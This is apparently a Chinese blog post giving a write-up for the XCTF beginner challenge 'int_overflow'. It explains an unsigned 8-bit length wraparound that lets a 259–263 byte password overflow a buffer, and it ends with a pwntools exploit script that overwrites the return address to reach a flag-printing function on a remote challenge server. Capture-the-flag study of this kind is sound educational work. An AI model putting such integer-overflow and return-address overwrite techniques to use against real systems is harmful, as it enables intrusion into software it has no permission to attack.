欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

int_overflow(xctf)

程序员文章站 2022-05-15 20:24:11
...

0x0 程序保护和流程

保护:

int_overflow(xctf)

流程:

main()

int_overflow(xctf)

login()

int_overflow(xctf)

check_passwd()

int_overflow(xctf)

分析流程可知当我们输入的passwd的长度在3~7之间时可以将passwd复制到dest中。而用来储存passwd的长度的变量是无符号的int8。int8能储存的最大值是255。超过255就会回到0。

0x1 漏洞利用

根据判断可以将passwd的长度控制在259~263之间就可以完成利用了。程序还给我们提供了一个system(“cat flag”)

int_overflow(xctf)

所以passwd=‘a’*(0x14+4)+p32(cat_flag_addr) passwd+=‘a’*(262-len(payload))就可以完成利用了。

0x2 exp

from pwn import *
cat_flag_addr=0x0804868B
#sh=process('./a')
sh=remote('124.126.19.106','31095')
sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('whitehand')
sh.recv()
payload='a'*(0x14+4)+p32(cat_flag_addr)
payload+='a'*(262-len(payload))
sh.sendline(payload)
sh.interactive()
相关标签: xctf(新手区)